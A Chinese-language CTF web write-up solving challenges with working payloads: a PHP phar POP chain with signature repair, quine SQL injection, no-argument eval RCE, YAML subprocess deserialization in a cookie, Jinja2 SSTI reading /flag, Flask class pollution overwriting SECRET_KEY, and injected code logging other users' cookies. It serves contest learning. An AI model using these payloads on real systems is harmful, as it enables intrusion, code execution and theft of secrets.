解出题目(主Web方向):
- set set what(WEB 签到)
- 1z_serialize & 1z_serialize_revenge
- KindOfQuine
- RCE_ME!!!
- alpaca_search
- alpaca_search_again
- hack&fix-1-2-3
- 我闻到了[巧物]的清香
set set what(WEB 签到)
知识点:html
前端修改滑块的min值为出题人qq号即可,开启坐牢的大门~~
1z_serialize & 1z_serialize_revenge
没有发现非预期解,两题用相同方法解决
知识点:PHP反序列化、POP链、Phar的利用和签名修复
首先别着急学习uzi跳枪,先目录扫描,发现robots.txt
访问robots.txt,看到下一步的路径:/uplll1ll00ad.html
User-agent:*
Disallow:/uplll1ll00ad.html
进入/uplll1ll00ad.html
发现可以上传gif文件,再结合php文件中的file_get_contents()
函数可以想到利用Phar进行反序列化。
观察给出的php文件,学习uzi跳枪,构造pop链,生成phar。
<?php
class He_Ping
{
public $expired;
public $u;
public $zi;
}
class Jing_Ying
{
public $tiao;
public $qiang;
}
$a=new He_Ping();
$a->u=new Jing_Ying();
$a->u->tiao=new Jing_Ying();
$a->u->tiao->qiang=new He_Ping();
$a->u->tiao->qiang->expired=true;
$a->u->tiao->qiang->zi='nl /flag'; //输入执行命令即可
$phar = new Phar("1111.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("1.txt","1");
$phar->stopBuffering();
?>
<?php
class He_Ping
{
public $expired;
public $u;
public $zi;
}
class Jing_Ying
{
public $tiao;
public $qiang;
}
$a=new He_Ping();
$a->u=new Jing_Ying();
$a->u->tiao=new Jing_Ying();
$a->u->tiao->qiang=new He_Ping();
$a->u->tiao->qiang->expired=true;
$a->u->tiao->qiang->zi='nl /flag'; //输入执行命令即可
$phar = new Phar("1111.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("1.txt","1");
$phar->stopBuffering();
?>
接着再考虑throw new Exception("Garbage Collection");
和__wakeup()魔术方法
需要更改序列化字符串:提前出现空变量来提前触发GC,属性个数大于实际属性个数绕过wakeup
而序列化字符串在phar文件中,要写python脚本更改,并修复签名(题目服务端签名加密使用SHA1)
import hashlib
with open('1111.phar', 'rb') as f:
content = f.read()
text = content[:-28]
text=text.replace(b'3:{',b'4:{')# 这个部分修改了序列化字符串,刚好把上述两个要点均绕过
end = content[-8:]
sig = hashlib.sha1(text).digest()
with open('newSHA1.phar', 'wb+') as f:
f.write(text + sig + end)
上传phar文件(改拓展名为.gif
直接传),根据题目提示,文件存于uploads
最后在跳枪课程unserialize.php
处GET
传入?uzi=phar://uploads/newSHA1.gif
即可获得flag
注:在PHP版本较高时,phar文件签名会使用SHA256,所以应该修改签名修复脚本。以此题为例,SHA256签名修复脚本如下:
import hashlib
with open('1111.phar', 'rb') as f:
content = f.read()
text = content[:-40]
text=text.replace(b'3:{',b'4:{')
end = content[-8:]
sig = hashlib.sha256(text).digest()
with open('newSHA256.phar', 'wb+') as f:
f.write(text + sig + end)
KindOfQuine
知识点:quine注入结合MD5、耐心
上来二话不说先sqlmap注入,结果只是看到了提示
结合数据库名字,搜到quine注入,找到了包浆注入语句
但是与题目不相符合,接下来就要进行修改
按照quine注入的基本逻辑,先写出自生成的基本语句:replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')
接着结合题目md5,构造核心语句1"/**/union/**/select/**/1,md5(replace(replace(".",char(34),char(39)),char(46),"."))#
(注意union对齐和MD5)
用核心语句替换基本语句中的replace(replace(".",char(34),char(39)),char(46),".")
闭合源代码中的MD5('$pw')
的右引号、右括号,在加union select 1,md5(替换后的语句)
空格用\**\
替换
得到payload:1')/**/union/**/select/**/1,md5(replace(replace('1")/**/union/**/select/**/1,md5(replace(replace(".",char(34),char(39)),char(46),"."))#',char(34),char(39)),char(46),'1")/**/union/**/select/**/1,md5(replace(replace(".",char(34),char(39)),char(46),"."))#'))#
登陆页面id=admin,pw=payload
可得flag
RCE_ME!!!
知识点:无参数RCE、正则表达式
审计php文件,通过正则表达式明显看出是无参数rce
payload:?cmd=eval(end(current(get_defined_vars()));&aaa=system('env')
flag在环境变量里
alpaca_search
知识点:密码爆破、Cookie
据说我的方法是非预期
账号密码burp suite爆破,username=admin,password=guest
接着猜数字,先用重发器,发现每次猜错后counter会重置,就不考虑重放了
出题人:如果设断点调一下,会发现猜对一次后正确数字不会变了
这一点我没想到,于是采用了另外的方法:
我直接在请求包里修改cookie,直接给counter赋值1000,然后重发碰撞正确数字,猜对一次后即可获得flag
alpaca_search_again
知识点:yaml、python之subprocess
账号密码容易爆破,均为admin
进入猜数字环节,抓包抓不到啥信息、重放碰不到正确数字
那看来正确数字不重要了
观察猜数字界面,(问问出题人,问问google)得知[{'password': 'admin', 'username': 'admin'}]
是yaml格式
F12考察一下,发现session直接存在cookie中,base64解密之后可以看见内容就是yaml格式的内容,可能存在注入
构建payload
{
? "test"
: !!python/object/apply:subprocess.check_output [
"ls",
]
}
base64编码后传入session,发现可以控制yaml的内容,并完成系统命令执行
{
? "test"
: !!python/object/apply:subprocess.check_output [
{cat,flag},
]
}
同样方法传入,flag到手
hack&fix系列
hack&fix-1
知识点:SSTI
审计app.py容易发现SSTI漏洞
按照正常程序,找到object
{{"".__class__.__mro__[1].__subclasses__()}}
可以获得所有子类
写个python脚本,找可以可执行shell命令的子类,如:os._wrap_close
a='''这里放返回的所有子类'''
a=a.split(',')
num=0
for i in a:
if '<class \'os._wrap_close\'>' in i:
print("num:",num)
num+=1
print("end")
执行后返回num:137
最后payload:
{{"".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['popen']('ls /').read()}}
{{"".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['popen']('cat /flag').read()}}
hack&fix-2
知识点:SSTI修复
转义一下用户输入就好
from flask import Flask, request, render_template_string
from markupsafe import escape
app = Flask(__name__)
html = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Flask Form</title>
<link href="https://fonts.googleapis.com/css2?family=Comfortaa&family=Orbitron&display=swap" rel="stylesheet">
<link rel="stylesheet" href="static/style.css">
</head>
<body>
<label class="mode-switch" aria-label="Toggle dark mode">
<input type="checkbox" id="darkModeToggle">
<span class="slider"></span>
</label>
<div class="container">
<form method="POST">
<input type="text" name="input" placeholder="Enter a word" required>
<button type="submit">Submit</button>
</form>
<div class="word-display">
{{ user_input }}
</div>
</div>
<script src="static/script.js"></script>
</body>
</html>"""
@app.route('/', methods=['GET', 'POST'])
def ssti():
if request.method == 'POST':
user_input = request.form['input']
else:
user_input = 'Hello, World!'
context = {'user_input': escape(user_input)}
try:
return render_template_string(html, **context)
except Exception as e:
context['user_input'] = escape(str(e))
return render_template_string(html, **context)
hack&fix-3
知识点:python
题目会用脚本执行上传的python文件,所以想到可以在python中加入恶意代码,再根据提示,恶意代码应该是要收集批量执行的请求数据
修改一下第二问传入的脚本,关键变化部分exp
@app.route('/', methods=['GET', 'POST'])
def ssti():
if request.method == 'POST':
with open('request_log.txt', 'a') as file:
file.write(f"Method: {request.method}\n")
file.write(f"Path: {request.path}\n")
file.write(f"Headers: {request.headers}\n")
file.write(f"Body: {request.get_data(as_text=True)}\n")
file.write("\n")
user_input = request.form['input']
else:
user_input = 'Hello, World!'
执行后用hack&fix-1的方法翻翻各种路径
脚本生成的文件存在了/home/restricted_user
读取文件可得所有请求内容
仔细阅读,发现每个Cookie: secret_message=
的值都不同,组成了flag
拼接,可得flag
整理、拼接flag脚本如下:
with open('request_log.txt', 'r') as file:
content = file.read()
result = ''
index = 0
while True:
index = content.find('secret_message=', index)
if index == -1:
break
next_char_index = index + len('secret_message=')
if next_char_index < len(content):
result += content[next_char_index]
index += 1
print(result)
我闻到了[巧物]的清香
知识点:Python原型链污染、flask
审计app.py
,发现关键:合并函数
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and isinstance(v, dict):
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
根据代码逻辑,先改static_folder
的路径
payload:
{
"__init__" : {
"__globals__" : {
"app" : {
"_static_folder":"imagedir"
}
}
}
}
然后GET方法/read_secret
接下来改SECRET_KEY
payload:
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"AD049E0604CB01F2A7AFA1075B81B7"
}
}
}
}
}
最后GET方法/flag
总结
第一次 (坐牢) 参加正式比赛,好玩
比赛过程中始终没敢松懈,边学边做(被炸鱼哥吓着了)
过程确实很挣扎,有的题做了半天,但是不觉得很累
题目有一丁点的进展足以让我重振精神,更不用说是flag跳出来的那一刻
记忆最深的是==KINDOFQUINE==,现学现卖,好长的payload在出题人的提示下也是写了出来
真的学到了很多很多很多知识,也认识到了很多不足
感谢出题人 orz orz orz
还要感谢google,高效搜索真的很重要
我也算是走上了CTF的不归路了吧
期待以后的学习和比赛